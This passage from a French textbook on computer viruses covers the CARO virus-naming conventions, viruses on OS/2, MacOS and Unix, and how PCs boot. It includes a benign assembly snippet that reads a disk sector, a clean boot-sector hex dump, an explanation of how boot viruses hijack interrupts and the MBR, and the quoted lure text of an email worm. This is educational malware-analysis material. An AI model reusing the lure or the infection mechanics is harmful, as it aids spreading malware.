Dévolution Ce sont certains macro-virus qui ont amené la communauté anti-virale à définir la notion de dévolution. Elle définit un processus qui, sous certaines conditions spontanées, crée une variante différente qui se répliquera ensuite de manière récursive
PAGET_Ch03 Page 123 Lundi, 11. avril 2005 5:24 17
3.4 La classification des virus
123
sans être à même de revenir à sa forme initiale en l’absence d’une intervention extérieure quelconque. On dit alors que le nouvel élément créé a une forme dévolue ou est une dévolution du virus original. L’identifiant est numérique, il est directement accolé au rang de variante mineure. Citons comme exemple WM/Rapi.A. Selon la manière dont il se duplique, le virus installe parfois un nombre inférieur de macros. Dans ce cas il reste infectieux récursivement mais ne retrouvera plus sa configuration d’origine au fil des nouvelles infections. Cette première forme dévolue prend le nom de WM/Rapi.A1. Celle ci est viable mais peut par la suite perdre d’autres macros tout en restant virale. La seconde forme prend alors le nom de WM/Rapi.A2. W97M/Eight941.A est un exemple différent de dévolution. Le virus peut muter indifféremment vers les états A1 ou A2 sans jamais réintégrer l’état initial. La notion de non retour vers l’état initial est fondamentale. Le virus WM/ Johnny.A fut un moment considéré comme un virus capable de dévolution. Les chercheurs anti-virus l’on ensuite retiré de cette catégorie lorsqu’ils se sont rendu compte qu’il pouvait reprendre, de lui-même, son état initial sous certaines circonstances. Des virus de ce type peuvent néanmoins être capables de retrouver leur forme parentale initiale s’ils se reproduisent dans un environnement déjà infecté par leur géniteur. Ils seront cependant considérés comme de véritables dévolus s’ils en sont incapables depuis un environnement sain (ce qui se produit naturellement lorsqu’un élément infectieux dévolu est transféré d’une machine infectée à une machine non infectée). En théorie, la forme originale de ces virus devrait être affectée d’un rang de dévolution 0. Il devrait en être de même pour les virus inaptes à la dévolution. Par commodité, l’indicateur de dévolution n’est présent qu’en cas de nécessité pour des virus qui peuvent prendre des formes diverses dans leur environnement naturel.
© Dunod – La photocopie non autorisée est un délit
Notons enfin que certains produits utilisent cet indicateur à mauvais escient pour repérer des sous-ensembles viraux ayant fait l’objet d’une éradication partielle.
Singularité Bien que la règle ci-dessus définie soit suffisante pour un référencement non ambiguë, certaines fonctionnalités associées sont plus significatives que d’autres. Ver les années 1990, elles étaient souvent liées à des techniques d’encapsulage polymorphique ou de compression. Dédié à cet effet, l’indicateur de singularité n’a jamais été sérieusement utilisé par le passé. On lui préfère aujourd’hui une nouvelle forme plus complète et plus adaptée aux techniques virales du moment. Sa nouvelle formulation est : [[:][#][@’m’|’mm’][ !<spécifique-vendeur>]]
La classification n’étant pas achevée en mars 2005, ces singularités ne sont pas toutes en vigueur. Certaines risquent même de disparaître.
PAGET_Ch03 Page 124 Lundi, 11. avril 2005 5:24 17
124
Chapitre 3. Notions fondamentales
1) : L’avènement d’une des premières variantes du virus Concept est à l’origine de ce champ. Elle prit le nom de virus://WM/Concept.B:Fr et indiquait ainsi la nécessité d’une plate-forme française de Microsoft Word pour voir se propager le virus. La version première du virus est aussi dépendante du langage ; il fut cependant décidé de ne l’indiquer que pour les plates-formes différentes de l’anglais. Son format débute par deux points ; il est suivi de deux lettres représentatives du pays. La première, de préférence en majuscule et la seconde en minuscule. Aucun standard particulier n’est utilisé pour définir cette liste qui n’est d’ailleurs pas aussi fine dans ses distinctions que ne l’est Microsoft Office lui-même (France, France (Canada), Portugal, Portugal (Brésil), etc.). En cas de nécessité, plusieurs dépendances de langage peuvent se retrouver listées entre accolades. D’autres plates-formes tels que le VBA sont dépendantes des jeux de caractères installés (MBCS – Multi-Bytes Character Set). Ils peuvent affecter le bon fonctionnement d’un virus et faire l’objet d’une indication. Les virus connus pour fonctionner sur plusieurs plates-formes MBCS alors qu’ils ne fonctionnent pas en l’absence de celles-ci se sont vus attribuer la singularité :Tw (pour Taiwan). On lui préfère aujourd’hui l’identifiant :Uni.
2) #[-hack] Certains programmes malveillants connus sont parfois modifiés extérieurement. Il leur est rajouté une ou plusieurs couches complémentaires de camouflage par le biais de moteurs polymorphes (MTE, TPE) ou de compacteurs. S’il s’agit d’un virus qui est ensuite capable de se propager en réutilisant de lui-même ce procédé complémentaire, on se propose de lui attribuer une singularité spéciale qualifiant ce fait. Aujourd’hui, seuls quelques anciens virus sont affectés de cette singularité (exemple : Questo.2906#MTE, Civil_War.2223#TPE, Terrax.2874#SDFE, Teacher.3197#DSME). Elle concerne des moteurs polymorphiques dédiés au monde viral. Nick Fitzgerald propose d’étendre cette notion aux malveillances utilisant des compacteurs du commerce dans leur version standard ou piratée (exemple #UPX). Le suffixe -hack serait rajouté dans la mesure où le produit (runtime) aurait subi une modification de la part de l’auteur du virus.
3) @’M’|’MM’ Avec l’importance du courrier électronique, les notions d’auto expédition (selfmailer), et d’expédition en masse (mass-mailer) sont devenues des préoccupations prépondérantes pour les utilisateurs de l’informatique. Il existe aujourd’hui deux identifiants liés aux virus mettant en œuvre des techniques d’auto expédition. Ils concernent des virus capables d’envoyer des copies d’eux même depuis une machine infectée vers d’autres cibles par le biais du courrier électronique.
PAGET_Ch03 Page 125 Lundi, 11. avril 2005 5:24 17
3.4 La classification des virus
125
La différence entre ces deux identifiants est liée au nombre de mails mis en jeu. • Un virus avec l’identifiant @M est un expéditeur lent. Il émet de lui-même un courrier chaque fois que sa victime en expédie un. Il se peut aussi qu’un ou deux mails soient envoyés à chaque démarrage de la machine. • Le suffixe @MM s’applique à une expédition rapide et massive. Elle ne se produit parfois qu’une seule fois ; généralement (mais pas nécessairement) dans l’instant qui suit la première exécution du code malicieux. La différence entre lent et rapide ne fait pas l’objet d’une définition nette et précise. Elle n’est que le reflet de la capacité potentielle réelle qu’a le virus à se propager. Si le processus de propagation n’est pas opérationnel, l’identifiant ne doit pas être indiqué. Il n’est pas possible de rencontrer un nom tel que : intended://VBS/FooBar.A@MM. L’affectation de ces singularités s’appliqua d’abord aux macro-virus. Sous l’impulsion de Vesselin Bontchev, le CARO adopta tout d’abord l’utilisation du suffixe @MM. En janvier 2000, lors d’échanges sur l’un de nos forums privés, je tentai d’en préciser l’utilisation: Le suffixe @MM est dédié aux virus/vers qui possèdent un processus de propagation par messagerie.
© Dunod – La photocopie non autorisée est un délit
Outre l’infection via la messagerie, ces macro-virus ont généralement un processus d’infection standard DOC<->DOT. 7 cas sont référencés : 1. Les deux modes d’infections sont fonctionnels. On utilisera le suffixe @MM (exemple W97M/Melissa.A@MM). 2. Le mode DOC<->DOT ne fonctionne pas ou n’existe pas. La propagation se fait uniquement par mail. On utilisera le suffixe @MM (exemple W97M/ Melissa.T@MM). 3. Le mode messagerie ne fonctionne pas. La propagation se fait uniquement de fichier à fichier (DOC<->DOT). Pas de suffixe (exemple W97M/Mck.H). 4. Aucun processus d’infection n’est opérationnel. Il y a copie vers le NORMAL.DOT mais l’infection récursive échoue. C’est la création d’un auteur de virus, celui-ci est un intended, sans suffixe. 5. Aucun processus d’infection n’est opérationnel. Pas de copie vers le NORMAL.DOT, pas de récursivité. C’est la création d’un auteur de virus, celui-ci est un intended, sans suffixe. 6. Aucun processus d’infection n’est opérationnel. Il y a copie vers le NORMAL.DOT mais l’infection récursive échoue. C’est une corruption ou un objet généré automatiquement, celui-ci n’est rien du tout ! 7. Aucun processus d’infection n’est opérationnel. Pas de copie vers le NORMAL.DOT, pas de récursivité. C’est une corruption ou un objet généré automatiquement, celui-ci n’est rien du tout !
PAGET_Ch03 Page 126 Lundi, 11. avril 2005 5:24 17
126
Chapitre 3. Notions fondamentales
Aujourd’hui, un consensus général a vu le jour. Tout virus (et non plus seulement les macro-virus) qui cible de multiples boites à lettres se voit affecté du suffixe @MM. Citons à titre d’exemple: W32/PrettyPark@MM, VBS/Loveletter.A@MM. Même s’ils sont aussi très répandus, les avis furent longtemps partagés quant à l’attribution du suffixe pour les virus tels que W32/Ska ou JS/Kak. J’ai tout d’abord souhaité qu’ils se voient attribuer ce même suffixe. Cherchant un compromis avec mes collègues, je proposais en juillet 2000 la création du suffixe @M. Pour ces virus, la propagation est moins explosive. Certains d’entre eux firent pourtant plusieurs fois le tour de la planète ; ce ne fut qu’une question de temps. Qui plus est, pour Kak et Ska, leur prédominance perdura plusieurs années. Continuant ma croisade pour une standardisation et une rigueur de dénomination, j’ai poursuivi mon travail pour que se généralise ce nouveau suffixe. Qu’ils aient une propagation lente ou rapide et massive, les mass-mailers se définissent maintenant de la manière suivante : • Le suffixe @M est dédié aux virus/vers qui possèdent un processus de propagation par messagerie et qui cible une seule boite à lettres à chacune de leur activation. • Le suffixe @MM est dédié aux virus/vers qui possèdent un processus de propagation par messagerie et qui cible plusieurs boites à lettres à chacune de leur activation. • Outre l’infection via la messagerie, ces virus/vers peuvent également avoir un processus d’infection standard DOC <-> DOT ou plus généralement FICHIER <-> FICHIER. Parmi les 7 cas référencés au paragraphe précédent, on retiendra pour les 2 premiers : • Les 2 modes d’infections sont fonctionnels. On utilisera le suffixe adéquat (exemple W97M/Melissa.A@MM, W95/Babylonia@M, W32/MTX@MM). • Le mode FICHIER <-> FICHIER ne fonctionne pas ou n’existe pas. La propagation se fait uniquement par mail. On utilisera le suffixe adéquat (exemple W97M/Melissa.T@MM, JS/Kak.A@M, W32/Ska@M, VBS/Loveletter.A@MM). Même si pour d’obscures raisons le tiret remplace l’arobase; à compter de septembre 2000, la WildList utilisait, elle aussi, ce standard.
4) !<spécifique-vendeur> Ce champs est là pour permettre de gérer les écarts que les chercheurs de telle ou telle compagnies sont amenés à faire lorsqu’ils doivent s’adapter à la demande de leurs clients, ou lorsqu’ils souhaitent préciser un détail technique lié à une menace présente ou émergente.
PAGET_Ch03 Page 127 Lundi, 11. avril 2005 5:24 17
127
3.5 Les autres environnements
L’exemple le plus visible aujourd’hui est !p2p qui décrit des virus utilisant le mode poste à poste (peer-to-peer) pour se propager (exemple : W32/Benjamin.worm !p2p).
3.5 LES AUTRES ENVIRONNEMENTS Même si Microsoft Windows est aujourd’hui le principal vecteur d’infections virales, les autres systèmes d’exploitations ne sont pas à l’abri des infections. S’ils sont moins touchés, c’est moins du fait de leur niveau intrinsèque de sécurité que du fait du désintérêt des auteurs de virus qui préfèrent s’attaquer au leader mondial.
3.5.1 OS/2 Le système d’exploitation 32 bits créé par IBM (Operating System 2) n’est pas insensible aux virus DOS. Les virus système peuvent tout à fait infecter une machine fonctionnant sous OS/2. Cependant le virus sera bloqué dans sa phase de propagation. Une activation de la charge finale du virus (comme le reformatage de certains secteurs du disque) est possible si la gâchette de déclenchement effectue un test lors de l’exécution initiale du virus. L’implantation du virus dans un environnement qui n’est pas celui escompté peut aussi définitivement endommager la machine qui ne parviendra plus à terminer sa séquence de démarrage.
© Dunod – La photocopie non autorisée est un délit
En session DOS, la propagation d’anciens virus programme reste possible sous réserve que le virus n’utilise pas de fonctions trop spécifiques. Il existe depuis 1995 des virus dédiés aux fichiers applicatifs OS/2 (LE – Linear Executables et LX). Les premiers d’entre eux apparurent en juin et se nomment OS2/ Myname et OS2/Jiskefet. L’un des plus évolués a vu le jour un an plus tard et porte le nom de OS2/AEP. Tableau 3.7 — Quelques virus OS2 VIRUS
TYPE
ALIAS OS2/FIRST, OS2Vir
DATE
OS2/MYNAME
Non Résident Recouvrement
06/95
OS2/JISKEFET
Non Résident, Ajout
06/95
OS2/AEP
Non Résident, Ajout
06/96
PAGET_Ch03 Page 128 Lundi, 11. avril 2005 5:24 17
128
Chapitre 3. Notions fondamentales
3.5.2 MacOS Les virus Windows n’ont aucun effet sur les Macintosh, il faut cependant prendre garde aux macro-virus et aux mass-mailers. Non dépendants de la plate-forme système, les macro-virus se propagent au travers des outils bureautiques tels que ceux fournis par Microsoft. Les versions de Microsoft Office tournant sur Mac sont donc vulnérables. Associé à un courrier électronique, un fichier attaché infecté peut très bien transiter sur un Macintosh. Si l’on y prend garde, il pourra être reçu puis retransmis sans s’implanter sur la machine. La plupart des virus Macintosh connus sont bénins et ne détruisent aucune donnée. Ils se contentent d’afficher des images ou des messages. Les virus Macintosh sont très spécifiques et en nombre réduit. Ils ne peuvent pas infecter des programmes Windows. Il en existe une soixantaine. Le premier d’entre eux date de 1987. Tableau 3.8 — Quelques virus Macintosh VIRUS
TYPE
ALIAS Hpat, nFLU, AIDS, MEV#, Jude, Fuck, nCAM, zero
DATE 1987
MacOS/nVIR
Infecte le système et les applications
MacOS/INIT 29.a
Infecte les applications et les fichiers de données
1988
MacOS/CDEF.a
Infecte le bureau
1990
MacHC/Autostart.a
Via la fonctionnalité Lecture Auto (Autostart U.S.) du tableau de bord Réglages QuickTime (QuickTime settings U.S.)
MacOS/Simpsons@MM
Ver AppleScript utilisant les fonctionnalités de script de Outlook Express et de Entourage
AUTOSTART 9805
1999
06/01
Deux virus doivent retenir notre attention : MacOS/Autostart et MacOS/Simpsons@MM. Le premier d’entre eux affecte les PowerPC. Il s’introduit sur le bureau sous forme de fichier invisible. Le second se propage via la messagerie électronique tout comme les nombreux mass-mailers du monde Windows. Il s’agit du premier virus AppleScript utilisant les fonctionnalités de script de Outlook Express et de Entourage. Le ver arrive dans un e-mail avec deux pièces jointes et le texte suivant :
PAGET_Ch03 Page 129 Lundi, 11. avril 2005 5:24 17
129
3.5 Les autres environnements
« Hundreds of Simpsons episodes were just secretly produced and sent out on the internet, if this message gets to you, the episodes are enclosed on the attachment program, which will only run on a Macintosh. You must have system 9.0 or 9.1 to watch the hilarious episodes, in high quality. Just download and open it. » Pour cacher son activité, il pointe Internet Explorer vers un site Web concernant l’émission télévisée Les Simpsons1. Les fichiers joints sont : • Secret Simpsons Episodes!, et • Simpsons Episodes. Le premier fichier est une copie MIME du mail et le second fichier contient le script viral. Une fois lancé, il se place dans le dossier Startup Items pour s’exécuter automatiquement.
3.5.3 UNIX Le mythe qui consiste à dire qu’Unix est insensible aux virus persiste toujours. Tout comme pour OS/2 les virus système dédiés au DOS peuvent tout à fait affecter une machine fonctionnant sous Unix. Il n’y aura pas propagation mais activation éventuelle de la charge finale (si elle existe) ou corruption du processus de démarrage. Les projecteurs sont souvent braqués sur Linux, quelques virus existent cependant dans les environnements BSD et SunOS. Les virus possédant le préfixe Unix sont multi plateformes. Tableau 3.9 — Quelques virus Unix-like
© Dunod – La photocopie non autorisée est un délit
VIRUS
TYPE
ALIAS
DATE
Unix/Scalper.worm
BSD & LINUX
09/02
Linux/Bliss.A (&.B)
Non Résident, Ajout
02/97
Linux/Glaurung.676
Non Résident, Ajout, Crypté
Linux/Siilov
Résident, Ajout
{W32, Linux}/Etap.D
Résident, Ajout, Polymorphe, Point d’Entrée Obscure
MANDRAGORE
01/00 01/00
{W32, LINUX}/ Simile.D
06/02
BSD/Walk.worm
09/01
FreeBSD/Wowood
09/01
SunOS/BoxPoison.worm
05/01
1. http://www.snpp.com/episodeguide.html.
PAGET_Ch03 Page 130 Lundi, 11. avril 2005 5:24 17
130
Chapitre 3. Notions fondamentales
Les virus Unix existent depuis longtemps. Le premier d’entre eux date de 1997 et se nomme Linux/Bliss. Dans un premier temps ils furent simples et non-résidents en mémoire. Ils sont maintenant aussi performants que les virus 32 bits Windows. Ils mettent en œuvre des techniques pointues de polymorphie et utilisent, pour certains, la technique du point d’entrée obscur qui rend leur détection plus difficile que par le passé. En juin 2002, exploitant sans imperfection ces dernières techniques, apparaît {W32, Linux}/Etap.D. Il s’agit du premier virus à même d’infecter aussi bien les machines Windows que les machines Linux. Également connu sous les noms de {Win32, Linux}/Simile.D, il vérifie, à sa première exécution, la date du jour. S’il s’agit du 17 mars ou du 17 septembre (sous Windows) ou du 17 mars ou du 17 mai (sous Linux) il affiche une boite de dialogue précisant son créateur : un certain Mental Driller, du groupe 29A.
PAGET_Ch04 Page 131 Lundi, 11. avril 2005 5:24 17
4 Les virus système
Les virus système sont longtemps restés la principale menace. Même s’ils ont aujourd’hui disparu des machines modernes, leur description va permettre au lecteur une première approche de la vision en mode hexadécimal que nous utiliserons intensivement dans le chapitre lié aux virus programmes.
4.1 MISE EN MARCHE D’UN MICRO-ORDINATEUR Pour saisir le fonctionnement des virus système il est nécessaire de comprendre les mécanismes de mise en route d’un micro-ordinateur. La terminologie anglaise surnomme cette phase d’activité POST : Power-On Self-Test.
Figure 4.1 — Processus de mise en route d’un ordinateur
PAGET_Ch04 Page 132 Lundi, 11. avril 2005 5:24 17
132
Chapitre 4. Les virus système
À la mise sous tension, le processus débute par l’exécution du BIOS1. Ce programme est contenu dans la ROM (mémoire morte), l’EPROM ou la Flash EPROM (EEPROM) de la machine. Il teste la quantité de mémoire, le matériel et recherche les différentes unités physiques pour trouver celles qui contiennent réellement un disque. Le BIOS utilise les paramètres de configuration de la mémoire RAM CMOS. Ceux ci contiennent entre autre le séquencement par lequel les disques doivent être activés. Par exemple : • Lecteur de disquette. • CD-ROM. • Disque dur C:. Le premier secteur de l’unité choisie est alors chargé en mémoire vive (RAM) et exécuté. Il va permettre la recherche du système d’exploitation. Sur les disquettes, ce secteur est un court programme qui teste la présence du système DOS et le charge. Si celui ci est absent, c’est ce programme qui affiche le message : • Disque non système. • changer de disque et appuyer sur une touche. Avec les systèmes d’exploitation Windows NT, on rencontre également le message : • NTLDR manque. • Appuyez une touche pour redémarrer. Sur un disque dur, ce premier secteur est le secteur des partitions, ou Master Boot Record (MBR). Il décrit la structure logique du disque et re-dirige le programme d’initialisation vers la partition active. Celle ci coïncide généralement avec le premier disque logique. Pour un fonctionnement correct, cette unité doit être amorçable et contenir un système d’exploitation. Dans le cas contraire le message déjà mentionné ci-dessus apparaîtra. La main est ainsi donnée au premier secteur de la partition active. C’est le secteur de démarrage, ou Boot sector. Il contient une routine appelée Boot Strap Loader. C’est elle qui effectue la recherche du système d’exploitation en RAM. Il s’agit soit : • des fichiers IBMBIO.COM et IBMDOS.COM (ou IBMDOS.SYS et IBMBIO.SYS) pour les versions PC-DOS d’IBM, • des fichiers IO.SYS et MSDOS.SYS pour les versions MS-DOS ou Windows 9X de Microsoft,
1. Basic Input Output System.
PAGET_Ch04 Page 133 Lundi, 11. avril 2005 5:24 17
4.1 Mise en marche d’un micro-ordinateur
133
• du fichier NTLDR pour les versions Windows NT/2K/XP de Microsoft. Ces fichiers se trouvent directement à la racine du disque dur et permettront le chargement du noyau de l’OS.
4.1.1 L’organisation de la mémoire Le mode réel, c’est le mode du 8086. On a accès à un méga-octet à la fois. Quand un 80386 (ou au-delà) démarre, il le fait en mode réel. C’est à compter du lancement de NTLDR que le processeur bascule vers le mode d’adressage mémoire 32 bits ou mode protégé pour ensuite aboutir à l’invite d’ouverture de session.
© Dunod – La photocopie non autorisée est un délit
Le BIOS se recopie en mémoire vive dans la zone qui le recouvre (ROM BIOS). Les vecteurs d’interruption et les variables qu’il initialise (RAM BIOS) sont dans une zone réservée au tout début de la mémoire. Elle est accessible par n’importe quel programme. Vient ensuite le système d’exploitation qui utilise un espace plus ou moins important selon les versions et les pilotes de périphériques installés.
Figure 4.2 — Organisation du premier méga-octet de la mémoire
Pour adresser le premier méga-octet, il faut 20 bits d’adresse. Elles s’expriment toujours sous forme Segment:Offset (exemple : A000h:0000h). Le calcul d’une adresse mémoire se fait par l’addition d’une base (le segment) et d’un déplacement (l’offset), tous deux de 16 bits. La base est décalée de 4 bits avant l’addition pour obtenir une adresse physique de 20 bits. Exprimé en hexadécimal, l’adresse de démarrage des PC se trouve en FFFFh:0000h. FFFFh est le segment et 0000h est l’offset. Cela correspond à l’adresse linéaire FFFF* + *0000 = FFFF0h où l’étoile indique un décalage.
PAGET_Ch04 Page 134 Lundi, 11. avril 2005 5:24 17
134
Chapitre 4. Les virus système
Figure 4.3 — Calcul d’une adresse mémoire
Les données générées par le BIOS sont localisées à compter de l’adresse 0040h:0000h. Nous en retrouverons certaines, plus tard, dans ce chapitre. Il s’agit de : • la taille de la mémoire RAM : (0040h:0013h // 413h), • le chronomètre (0040h:006Ch // 46Ch). Cette valeur, intitulée aussi compteur de ticks, est incrémentée à chaque appel de l’horloge (timer), soit approximativement 18,2 fois par seconde. Le secteur de partition est chargé en mémoire par le BIOS à l’adresse 0000h:7C00h.
4.1.2 Les interruptions Les interruptions sont des sous-programmes particuliers liés au fonctionnement de l’ordinateur. Écrites en assembleur, elles gèrent les évènements internes et externes et dialoguent avec le processeur. Elles se divisent en deux catégories : • les interruptions matérielles coordonnent les évènements internes. Elles sont générées par les composants matériels tels que le clavier ou l’horloge interne, • les interruptions logicielles coordonnent les évènements externes. Elles agissent en quelque sorte comme des sous-programmes. Qu’il soit sain ou infecté, le secteur de démarrage est chargé et exécuté avant le système d’exploitation. L’ensemble des services d’interruptions n’est pas encore accessible et il faut se reposer sur les services offerts par le BIOS. Ni les interruptions électroniques (par exemple : le clavier), ni celles du DOS (par exemple : l’accès aux systèmes de fichiers) ne sont disponibles. Certaines le sont néanmoins ; la plus importante est l’interruption 13h. Elle permet l’accès aux disques en mode physique. Elle est déclenchée à l’aide de l’instruc-
PAGET_Ch04 Page 135 Lundi, 11. avril 2005 5:24 17
135
4.1 Mise en marche d’un micro-ordinateur
tion INT du langage machine. Les paramètres sont passés dans les registres. Ils s’associent à des fonctions précises. Parmi les plus courantes, citons : • la lecture de secteurs, fonction 02h, • l’écriture de secteurs, fonction 03h, • la lecture des paramètres d’une unité, fonction 08h. Voici à titre d’exemple, un petit programme en assembleur qui lit le secteur contenant les informations sur les partitions. Buf ... Mov Mov Mov Mov Mov Mov Push Pop Mov Int
DB
512 DUP ( ?)
ah,02h al,01h ch,00h cl,01h dh,01h dl,80h ds es bx, Offset Buf 13h
; ; ; ; ; ;
Fonction 2 Lire 1 secteur Cylindre 0 Secteur 1 Tête 0 Disque C :
; es ← ds ; Adresse zone mémoire de sauvegarde ; Lire le secteur
Figure 4.4 — Exemple d’appel d’une interruption
Un virus ne va pas se contenter d’utiliser les interruptions. Il va les détourner. Cela permettra l’exécution du code viral préalablement à celui de la fonction attendue.
© Dunod – La photocopie non autorisée est un délit
Les interruptions sont stockées en mémoire à des adresses fixes. La table suivante donne l’adresse de quelques vecteurs d’interruption ainsi que les services rendus par chacun d’eux. Tableau 4.1 — Quelques interruptions et leurs adresses linéaires hexadécimales N°
Adresse linéaire (hexadécimal)
Fonction
08h
020-023
IRQ0 : Timer (Appel 18,2 fois par secondes)
12h
048-04B
BIOS : Détermination taille RAM
13h
04C-04F
BIOS : Fonction disquettes/disque dur
1Ah
068-06B
BIOS : Lecture date et heure
1Ch
070-073
Appelé après chaque INT 08h
21h
084-087
DOS : Fonction du DOS
PAGET_Ch04 Page 136 Lundi, 11. avril 2005 5:24 17
136
Chapitre 4. Les virus système
4.2 MODE DE PROPAGATION Un virus système cherche à avoir la main, au plus tôt, sur les ressources de la machine. Combattons tout d’abord une idée reçue : il ne peut s’implémenter dans l’environnement du BIOS : • Une fois programmée, il n’y a pas de possibilité de modifier la mémoire morte (ROM). Si elle contient un programme malveillant, il s’agira d’un Cheval de Troie ou d’une bombe logique introduite lors de sa fabrication. • Il est possible de modifier le contenu d’une flash EPROM mais l’implantation d’un virus système viable semble difficile, voire impossible. • La mémoire CMOS ne contient pas de code exécutable et ne peut pas contenir de virus. Par contre, un virus peut très bien en altérer son contenu. Il reste donc : • le secteur des partitions (MBR, Master Boot Record) pour les disques durs, • le secteur de démarrage (Boot Sector) pour les disques durs et les disquettes. Pour s’approprier l’un de ces deux secteurs, le virus peut être introduit via un programme spécifique (implanteur ou virus multipartite). Les auteurs ont cependant immédiatement compris qu’il était beaucoup plus simple de concevoir un virus directement sous la forme d’un secteur de démarrage de disquette. Le principe de fonctionnement est le suivant : • • • • •
le virus est présent dans le secteur de démarrage d’une disquette, il contamine le PC lorsque le BIOS exécute le code, il déplace ou écrase le code original du BOOT ou du MBR du disque dur, il remplace ce code par lui-même, il sauvegarde éventuellement le code excédant (code complémentaire du virus) dans d’autres secteurs, libres ou occupés, • dès lors et à chaque nouveau démarrage, il sera résident en mémoire et capable d’infecter d’autres disquettes sur un simple accès, pour peu qu’elles ne soient pas protégées en écriture. La contamination d’un disque dur est donc toujours la conséquence d’une tentative volontaire ou involontaire de démarrage du micro-ordinateur avec une disquette contaminée. Que de fois n’a t’on pas oublié une disquette de donnée dans le lecteur de son ordinateur pour s’en trouver dérangé au démarrage suivant !
PAGET_Ch04 Page 137 Lundi, 11. avril 2005 5:24 17
137
4.3 Attaque du boot
4.3 ATTAQUE DU BOOT 4.3.1 Secteur d’amorce d’une disquette Voici une zone d’amorce de disquette au format hexadécimal tel qu’il est vu par DISKEDIT (Norton Utilities). Ce secteur se situe en cylindre 0, tête 0, secteur 1. Il s’agit du premier secteur physique de la disquette. C’est aussi le secteur logique 0 (premier secteur logique).
© Dunod – La photocopie non autorisée est un délit
*********** Zone amorce *********** Sect. 0 00000000: 00000010: 00000020: 00000030: 00000040: 00000050: 00000060: 00000070: 00000080: 00000090: 000000A0: 000000B0: 000000C0: 000000D0: 000000E0: 000000F0: 00000100: 00000110: 00000120: 00000130: 00000140: 00000150: 00000160: 00000170: 00000180: 00000190: 000001A0: 000001B0: 000001C0: 000001D0: 000001E0: 000001F0:
EB 02 00 4D 8E 38 66 02 66 60 C3 00 61 FB BB E1 3B 3D 06 66 4A 4A D2 C0 8B 5E B0 4C 2E 65 75 00
3C E0 00 45 D1 4E A1 88 16 89 48 72 74 7D 07 CD 00 7D 96 03 4A 52 F7 CC F4 0B 4E 44 20 7A 72 00
90 00 00 20 BC 24 1C 56 03 46 F7 39 32 B4 00 16 72 C7 7D 46 8A 50 F6 02 8A 49 54 52 64 20 20 00
4D 40 00 20 F0 7D 7C 02 46 FC F3 26 4E 7D CD CD E8 46 CB 1C 46 06 91 0A 56 75 4C 20 69 75 72 00
53 0B 00 20 7B 24 26 80 1C 89 01 38 74 8B 10 19 5B F4 EA 66 0D 53 F7 CC 24 06 44 6D 73 6E 65 00
44 F0 00 20 8E 8B 66 C3 13 56 46 2D 09 F0 EB 26 8A 29 03 8B 32 6A F6 B8 CD F8 52 61 71 65 64 00
4F 09 29 46 D9 C1 3B 10 56 FE FC 74 83 AC EF 8B 56 7D 00 D0 E4 01 42 01 13 C3 20 6E 75 20 82 00
53 00 FE 41 B8 99 07 73 1E B8 11 17 C7 98 A0 55 24 8C 00 66 F7 6A 87 02 61 41 20 71 65 74 6D 00
– – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – –
35 12 4B 54 00 E8 26 EB 03 20 4E 60 20 40 FD 1A BE D9 20 C1 E2 10 CA 80 61 BB 20 75 FF 6F 61 00
2E 00 A7 31 20 3C 8A 33 46 00 FE B1 3B 74 7D 52 0B 89 0F EA 03 91 F7 7E 72 00 20 65 0D 75 72 00
30 02 EC 32 8E 01 57 C9 0E F7 61 0B FB 0C EB B0 7C 4E B6 10 46 8B 76 02 0B 00 20 FF 0A 63 72 00
00 00 4E 20 C0 72 FC 8A 13 E6 BF BE 72 48 E6 01 8B F2 C8 EB FC 46 1A 0E 40 60 20 0D 41 68 65 AC
02 00 4F 20 FC 1C 75 46 D1 8B 00 A1 E6 74 A0 BB FC 89 66 5E 13 18 8A 75 75 66 0D 0A 70 65 72 BB
01 00 20 20 BD 83 06 10 8B 5E 00 7D EB 13 FC 00 C7 4E 8B 0F 56 96 F2 04 01 6A 0A 45 70 20 0D C9
01 00 4E 33 00 EB 80 98 76 0B E8 F3 DC B4 7D 00 46 F6 46 B6 FE 92 8A B4 42 00 4E 72 75 70 0A 55
00 00 41 C9 7C 3A CA F7 11 03 E6 A6 A0 0E EB E8 F0 C6 F8 C8 EB 33 E8 42 03 EB 54 72 79 6F 00 AA
.<.MSDOS5.0..... ...@............ ......).K..NO NA ME FAT12 3. ....{.... .....| 8N$}$....<.r...: f..|&f;.&.W.u... ..V....s.3..F... f..F..V..F....v. `.F..V.. ....^.. .H...F..N.a..... .r9&8-t.`....}.. at2Nt... ;.r.... .}.}[email protected]... .........}....}. .....&.U.R...... ;.r.[.V$..|...F. =}.F.)}...N..N.. ..}..... ...f.F. f.F.f..f....^... JJ.F.2....F..V.. JRP.Sj.j...F...3 ......B...v..... .........~..u..B [email protected]. ^.Iu...A...`fj.. .NTLDR ..NT LDR manque...Err . disque...Appuy ez une touche po ur red.marrer... ..............U.
Figure 4.5 — Zone d’amorce d’une disquette 1,44 Mo (format hexa)
Il est possible de visualiser par vous-même ces données. En utilisant le programme DEBUG et après avoir inséré la disquette dans le lecteur, il suffit de taper : DEBUG -L 100 0 0 1 -D 100
PAGET_Ch04 Page 138 Lundi, 11. avril 2005 5:24 17
138
Chapitre 4. Les virus système
Pour sortir du programme, il faut taper Q (pour Quitter) à l’invite symbolisée par le tiret : -Q
Les trois premiers octets représentent une instruction de saut vers le point de commencement effectif du programme. Ce peut être une instruction de saut normal (sur trois octets) ou, comme ici, un short jump qui ne nécessite que deux octets ; le troisième étant un nop qui veut dire NO OPERATION et correspond à 90h en hexadécimal. Les 43 octets suivants correspondent à un bloc de données que DISKEDIT nous permet de comprendre au travers de son visionneur de zone d’amorce. Ce bloc porte le nom de BPB (Bloc de Paramètres Bios). *********** Zone amorce *********** Sect. 0 ID OEM: Octets par secteur: Secteurs par groupe: Secteurs réservés du début: Exemplaires de la table FAT: Entrées du répertoire Racine: Nombre de secteurs du disque: Octet descripteur du Media: Secteurs par FAT: Secteurs par piste: Têtes: Secteurs cachés spéciaux: Grand total du nombre de secteurs: Numéro physique du disque: Signature de Zone Amorce ‚tendue: Numéro de Série du Volume: Nom du Volume: ID Système fichiers:
MSDOS5.0 512 1 1 2 224 2880 F0 Hexa 9 18 2 0 (Inutilisé) 0 29 Hexa ECA74BFE Hexa NO NAME FAT12
Figure 4.6 — Zone d’amorce d’une disquette 1,44 Mo (format visionneur)
